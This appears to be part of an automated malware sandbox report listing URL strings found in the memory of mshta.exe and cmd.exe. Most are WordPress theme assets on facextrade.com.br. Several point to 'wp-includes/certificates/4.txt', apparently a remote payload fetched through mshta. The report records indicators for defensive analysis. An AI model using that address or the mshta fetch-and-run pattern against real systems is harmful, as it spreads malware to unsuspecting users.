Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3-US
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3.NET4.0E)
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.30C;
Source: mshta.exe, 00000008.00000002.1167157736.000000000023E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3ET4.0C;
Source: mshta.exe, 00000008.00000003.1035827310.000000000468B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173969677.000000000468D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036058154.000000000468C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3http://facextrad
Source: mshta.exe, 00000008.00000003.1035827310.000000000468B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173969677.000000000468D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167470567.00000000002E0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036058154.000000000468C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0-US
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0.NET4.0E)d
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.00C;
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.019
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0;
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0er=2.6.00.9.3
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0r=1.04.0E)
Source: mshta.exe, 00000008.00000002.1177426727.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20hi(
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20ive.css.NET4.0E)
Source: mshta.exe, 00000008.00000003.1061744000.0000000003804000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1093595277.0000000003804000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1093794569.0000000003807000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1061861096.0000000003807000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171474551.0000000003808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css.COM;.1
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssS
Source: mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssb
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg);
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg.0=1.0
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg6
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpge
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.01.0
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0C:
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0O
Source: mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0r=1.0
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0;
Source: mshta.exe, 00000008.00000002.1170406636.00000000031F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0http://facextrade.c
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0r
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.30E)ferr
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3n.js?ver=1
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0.NET4.0E)
Source: mshta.exe, 00000008.00000003.1035827310.000000000468B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173969677.000000000468D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036058154.000000000468C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.00
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.02C:
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0=5.0.3
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0ET4.0E)L=
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0S
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css
Source: mshta.exe, 00000008.00000002.1167349641.0000000000292000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css.css?ver=4.9.204.9.201.2.8.1241
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css20
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.css
Source: mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.cssBn
Source: mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.cssKn
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.cssa.css
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png4.0E)e
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/
Source: mshta.exe, 00000008.00000002.1167157736.000000000023E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167470567.00000000002E0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168207147.0000000002670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#D
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt...3
Source: cmd.exe, 00000002.00000002.1166906475.000000000044E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtAWinSta0
Source: mshta.exe, 00000008.00000002.1166866976.0000000000200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtWinSta0
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtcy
Source: mshta.exe, 00000008.00000002.1170385250.00000000031E7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1061193305.0000000002FF3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1169795103.0000000002FF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txthttp://facextrade.com.br/wp-includes/certific
Source: mshta.exe, 00000008.00000002.1166866976.0000000000200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtmshta
Source: cmd.exe, 00000002.00000002.1166906475.000000000044E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtsmshta
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/c
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/g
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/privacy-policyflateC
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/privacy-policyng4
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417..)
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204172.1
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204179
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417C:
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417igrate-1.2.1.min.js?ver=1.2.1=1
Source: mshta.exe, 00000008.00000003.1035827310.000000000468B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173969677.000000000468D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036058154.000000000468C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177426727.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20Time.js?ver=1.0%
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20a.min.js?ver=1.3.4=1.0R
Source: mshta.exe, 00000008.00000002.1177426727.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20author
Source: mshta.exe, 00000008.00000002.1177426727.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20f(a.g)
Source: mshta.exe, 00000008.00000002.1178330848.0000000005407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20p
Source: mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1180809282.0000000006454000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.943282362.00000000030D3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20.css
Source: mshta.exe, 00000008.00000002.1180809282.0000000006454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20/jquery.flexslider-min.js?
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20P
Source: mshta.exe, 00000008.00000002.1180809282.0000000006454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20PX6r
Source: mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20css
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20ou
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/wlwmanifest.xml
Source: mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/wlwmanifest.xml.txt7u
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/xmlrpc.php
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/xmlrpc.phpa
Source: mshta.exe, 00000008.00000003.937402502.00000000003AB000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://fontawesome.io
Source: mshta.exe, 00000008.00000003.937402502.00000000003AB000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://fontawesome.io.
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/
Source: mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latin
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latink/css/magnific-popup.css?ver=0.9.3public.css
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100
Source: mshta.exe, 00000008.00000002.1167157736.000000000023E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100s/4.txt
Source: mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300-release.min.js?ver=4.9.20css
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300er=1.24
Source: mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:4004.txt
Source: mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400s
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700/1.1s:
Source: mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:7004.txtgu
Source: mshta.exe, 00000008.00000002.1178330848.0000000005407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700eyfroj
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700t:
Source: mshta.exe, 00000008.00000002.1178330848.0000000005407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:9000%
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:9004.txtl
Source: mshta.exe, 00000008.00000002.1178330848.0000000005407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:900ity:
Source: mshta.exe, 00000008.00000002.1178330848.0000000005407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:900rans.j
Source: mshta.exe, 00000008.00000002.1182040283.000000000669D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/a
Source: mshta.exe, 00000008.00000002.1182040283.000000000669D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/e
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot
Source: mshta.exe, 00000008.00000003.958359984.0000000000418000.00000004.00000020.00020000.00000000.sdmp, css[1].css0.8.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);
Source: mshta.exe, 00000008.00000002.1177426727.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);cssGe.pro
Source: mshta.exe, 00000008.00000002.1167349641.0000000000292000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot/modernizr.js?ver=2.0.6)
Source: mshta.exe, 00000008.00000002.1178330848.0000000005407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eotC:
Source: mshta.exe, 00000008.00000002.1167470567.00000000002E0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot
Source: mshta.exe, 00000008.00000003.958481713.000000000612A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177426727.00000000052D3000.00000004.00000020.00020000.00000000.sdmp, css[4].css.8.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eotC:
Source: mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eotge:url(ima
Source: mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eotnsition:al
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eott.png/
Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot
Source: mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot#2ecc71;
Source: css[3].css.8.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1177426727.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);l
